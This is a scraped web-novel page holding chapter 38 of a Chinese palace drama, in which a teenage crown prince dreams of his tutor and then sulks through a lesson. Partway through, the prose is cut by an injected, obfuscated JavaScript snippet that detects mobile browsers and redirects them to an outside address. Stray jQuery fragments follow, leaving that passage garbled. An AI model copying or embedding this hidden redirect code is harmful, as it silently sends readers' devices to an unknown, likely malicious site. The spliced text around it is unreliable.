默认冷灰
24号文字
方正启体

38. 夜梦

作者:蜗牛其本书字数:K更新时间:
    去景和帝处昏定后,付辕照例又往梁贵嫔所居的紫宸殿去了,如今梁贵嫔掌管后宫,他每隔三日也要去温安一次。


    “儿臣请贵嫔安。”他依着礼数行礼。


    这梁贵嫔寡言少语,平日除了琢磨些美食外,没什么其他爱好。她在赵氏鼎盛时亦能明哲保身,除了有大司农卿之女的身份庇护外,还在于她着实也没什么野心,膝下连个一儿半女也没有。


    梁贵嫔刚尝完宫人奉上的甜汤,心情正好:“太子可用过膳了吗?”


    “用过了。”付辕特意扯了个谎,生怕又被留下来用膳。


    梁贵嫔的侄女梁舒就站在一旁,每逢太子一来,她就要被叫上来,像吉祥物似的候在旁边。


    这梁家的女公子与她姑母生得极像,都长着一张珠圆玉润的脸,一看就是未曾在吃食上苛待过自己。


    “舒儿今日又做了些新奇的糕点,是用牛乳拌上栗子做的,甜而不腻,好吃得紧。”梁贵嫔言语间好似还在回味,“太子也带一些回去吧。”


    “谢贵嫔。”付辕躬身谢了,反正每次来,必是要带些吃的回去的。


    梁贵嫔让宫人备好食盒,侧身朝着梁舒使了个眼色:“舒儿,去送送太子殿下。”


    “是。”梁舒应道。


    两个半大的孩子一左一右往外走,干巴巴地局促着,各自也没有说话。


    临到门前,梁舒的侍女才小声提醒道:“女公子,点心。”


    “哦。”梁舒这才反应过来,从侍女手里接过食盒,别扭地往前走了两步,低着头连对方的眼睛也不敢看,“殿下,这是臣女做的糕点。”


    付辕朝常乐递了个眼神,常乐立刻会意,上前接过了食盒。


    接完还不忘凑到他耳边,压着声音提醒道:“殿下每次拿了人家的点心,话也不多说上一句,陛下若知道了,怕是又要说您无礼了。”


    他斜了常乐一眼,旋即转身冲着梁舒哑声道了句谢。


    梁舒一愣,似是被吓着了,赶紧行了一礼,接着慌慌张张地往回逃了。


    回承乾殿的路上,常乐捧着食盒,一路小碎步地跟在身后,语重心长,苦口婆心:“殿下,奴瞧着这梁家舒女公子性情敦厚,又做得一手好糕点,殿下在宫中,左右也是枯燥烦闷,又没什么同龄皇子相伴,何不与舒女公子多玩一会儿再走呢?”


    不怪这常乐话多,他心下惦念着那干爹常玉嘱咐过自己的话,说陛下有意梁家的长孙女,让他跟在太子身边,多多撮合着些。


    付辕没搭理,自顾自地加快了步子,两步并做一步走得飞快,风似的把一行宫人远远地甩在了身后。


    夜里,殿中四下静谧,但心却怎么也静不下来。


    付辕心烦意乱,在榻上翻来覆去地滚,觉也是睡不下去了,索性起来练字静心。


    他临着张岁安给他的字帖,循着那熟悉的笔锋走,恍惚间,好像又回到了曾经在张府的时候。


    夜里,他做了个梦。


    梦中是那处书房,烛火映着暖意,张岁安坐在他身边,握着他的手,一笔一划地教他如何着力。


    温热的掌心裹着手背,呼吸间,那人的气韵幽幽地绕在耳旁。


    “小七,”那声音牵着他梦得越来越深,“这样是不是好多了?”


    氤氲的迷梦好似一张网,漫着雾气把人笼在其中,混沌得让人醒也醒不过来。


    晨光薄起时,他昏昏醒来,转了转身子,总觉得哪里不对劲。


    蹬开被褥,低头看去,才发现腰下的亵裤竟然湿了一片,


    “……”


    付辕腾地红了个半熟,眼底的惊愕不亚于见了鬼。


    一直到常乐进殿来为他早起更衣时,他还僵坐在那儿——


    “殿下今日不多睡会儿了?”常乐见他整个人凝固得宛如一尊石像,“殿下怎么了?是哪里不舒服吗?”


    付辕啾一下回过神来:“没,没什么。”说完,清了清沙哑的嗓子,“你们都出,出去,我自己更衣。”


    等宫人都退出殿门,他猛地掀开被子跳起来,见鬼似的脱了裤子,慌忙着换上干净的。


    脑子一乱,也没多想,索性把脏衣裤团成一团,直接先给塞到了床底下。


    可惜,此举弄巧成拙。


    常乐收拾他换下的袍子时,发现少了一条亵裤,他知道殿下爱干净,每日的里衣必是要换的,这等私物向来马虎不得,免得哪个心思不好的宫婢拿去做文章,污了殿下的声誉。


    于是赶紧上上下下地一通找,把殿内翻了个遍,最后幸而是在床底下找着了。


    常乐松了一口气,用竹竿子把那截裤头从床底下捞出来,抖开一看,整个人顿时也是一愣……


    这种贴身衣物有了污,一般要么秘密清洗,要么烧掉,不然传出去,恐有污太子声誉,常乐赶紧按照规矩处理了个干净,心下又想起干爹的嘱咐来。


    眼下太子殿下早熟,梁家女公子的事是不是也算能更进一步了呢?


    常乐揣着心思,往院子外走,迎面就撞上了来赴课的张岁安。


    “张少傅。”常乐趋步行礼道。


    张岁安颔首回礼:“常内侍,何事如此匆忙?”


    常乐是说也不是,不说也不是,扭捏半天,想着张岁安也不算外人,便才开口说了:“奴在想,殿下身边的宫人中,是不是该添位宫教姑姑。”


    张岁安一愣:“为何?”


    “殿下如今个子长得快,方方面面也都长得快,殿下他……他……”


    张岁安静静地等着他顺过这口气。


    常乐声音压得低如蚊蝇:“殿下昨日见了梁家的女公子后,夜里……夜里遗丹了。”


    张岁安:“……”


    气氛一阵凝滞。


    张岁安本想着太子如今还小,不用着急这些,可又转念一想,自己父母虽是晚婚晚育,但皇室一族却向来早婚,当年景和帝和陈皇后新婚时,也只比现在的太子大一两岁而已。


    他转而清了两声喉咙,故作镇定道:“殿下正值年少,确实应当找个稳妥的宫教好生引导。”说完还不忘补上一句,“不过这等事需得隐秘,也辛苦常内侍在旁多多提点,切记不要让殿下因私欲而影响课业。”


    “奴知道,奴知道。”常乐听完连连点头,匆匆去了少府,把找宫教的事提上日程。


    张岁安临到书堂时,正巧看见付辕埋头在案上写字。


    这孩子皱着眉头,好似跟那案牍有仇,握笔的样子活像握着把刀,此刻正一笔一划地割着竹简泄愤。


    张岁安没出声,轻步悄悄地绕到他身后,想看看是什么写得他这般振愤——


    凑到他身后一看,才发现他只是在临摹自己的字。


    付辕动了动鼻子,好似闻见了张岁安衣袍上的熏香,怃然转过头来,目光直愣愣地落在张岁安脸上,半天没出声。


    “殿下,臣的字有这么可恨吗?”张岁安笑着打趣道。


    付辕脸色不大好,被他这么一说,又想起昨夜那个荒诞不经的梦,此刻脸上更是由沉转红,两股温温的薄红一路从耳根,烧到了脖颈后,整个人像是被那温茶的炉火给烫着了。


    张岁安将手头的书箱放在边上,走到案边坐下,自顾自地开始清点起今日的讲谈文册,心下忽然想起方才常乐所言——


    眼前的这位小太子殿下也到了该懂些人伦的年纪了,作为太子傅,也当循循善诱,教教他何为阴阳正道才是。


    “这几日的课后,殿下可温过书了?”张岁安翻开一册,温声问道。


    “嗯。”


    “既温过了,那殿下不如讲讲,为何圣人说‘人藏其心,不可测度,欲一以穷之,舍礼何以哉?’”


    付辕毫无灵魂,照本宣科地答着:“因为礼便是尺,是为约束人心中之恶欲,以求秩序之稳。”


    张岁安瞧着他这副模样,忍不住暗笑,这可怜巴巴的太子殿下,俨然是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445047|185064||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    被那邱老夫子训得没脾气了。


    “换言之,‘饮食男女,人之大欲存焉’,欲恶并非苟且之事,而是生存之道,知慕少艾,男女之情,亦是人心之本。”


    张岁安头头是道地说了一堆,付辕却根本没听进去,他盯着张岁安的袖口,忽而鬼使神差地冒出一句:“那你有过吗?”


    “什么?”张岁安一怔。


    付辕闷声半天,哑着嗓子挤出四个字:“饮食男女。”


    “……”


    张岁安当下恨不得拿起戒尺,朝这死孩子脑瓜上敲。


    这半大孩子平日做什么都得遵规守矩,唯独在张岁安面前没个顾忌,毛都没长齐呢,在这儿打听起老师的隐事了。


    “殿下,非礼勿言。”张岁安忍着气横了他一眼。


    付辕闷头不语,心里却又好似噎着股气,咽也咽不下。


    他换了个委婉的说法,不舍似的又追问了一句:“那,徐氏女,你喜欢她吗?”


    张岁安以为他这是懵懂初开,正值少男心事的年纪,才会如此刨根问底,自己作为年长者,自然得端正态度,以身作则。


    他放下手中的简牍,沉声道:“婚姻之事,向来是父母之命,媒妁之言,论亲,臣与徐家妹妹是表亲,对她有兄长爱护之责,论姻缘,婚成之后,夫妇俩各司其职,自然相敬如宾。”


    他讲得头头是理,男女情爱被他说得好似经书礼教一般无聊,末了还不忘点上一句:“殿下身为储君,更是应当谨记,君者,当以公为先。”


    付辕本就心头发堵,被他一套大义凛然的说教一浇,更是跟吞了冰渣子似的,噎在胸口,堵得发麻。


    张岁安见他黑着脸不说话,也不免掂量起自己是不是话说得太绝,把情窦初开的少男打压狠了,惹得他生气了?


    他放软语气,旋即又温声哄了两句:“其实殿下也不必如此苦闷,若是真心悦于梁家女公子,臣也可替殿下参谋参谋要如何一表心意,窈窕淑女,君子好逑,也是常情。”


    张岁安眯眯眼笑着,心想这下他该高兴了吧,转头却撞上一双黑得发青的眼——


    付辕死死地压着眼,眉心拧成一团疙瘩,连额上的那点红痣都像要被挤出血来:“谁说我心悦她?”


    这个年纪的孩子嘴硬也属正常,张岁安微微一笑,温声道:“殿下放心,臣不会外传。”


    “……”


    付辕被戳了半天的心窝子,当下是一点也学不进去了,把笔一搁,说自己头疼病犯了,疼得想吐。


    太医章恒临危受命,又被传入殿中为太子把脉。


    如今七皇子入主东宫,他作为曾经的佑炆殿专侍太医,也是步步高升,一听太子有疾,殷勤至极地就来了。


    只是那脉象把了又把,别的没把出来,倒是把出来一股郁闷至极的无名火。


    “殿下最近心火甚旺啊,可是课业太重了?”章恒问道。


    付辕瞥了一眼侍候在旁的张岁安,沉沉地吐了一个“嗯”字。


    “那臣替殿下开一剂清润下火的方子,除此之外,还请殿下饮食清淡,切勿劳思过度,劳逸结合,以解气闷之症。”章太医的方子不咸不淡,想来这个年纪的孩子,正是火气重的时候。


    张岁安在一旁看着心忧:“殿下既然身体不适,那臣就与监侍说一声,停上两日课,让殿下好生歇息。”


    付辕方才的一口闷气如今已被憋进了肚子里,化作满腹说不清的苦水,又见那人礼数规整得挑不出一点错处,只觉得心下更是又凉又空。


    张岁安行了礼,不好再打扰,转身便要退去殿外。


    “少傅。”付辕忽而开口叫住他。


    张岁安顿住脚步,缓缓转过身来,以为他还有什么嘱咐。


    付辕望着他,心里的话噎了半天,最后只字正腔圆地憋出一句:“我不喜欢梁家女。”


    说完,赌气似的把被褥往头上一盖,裹得严严实实,闷头装作呼呼大睡。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)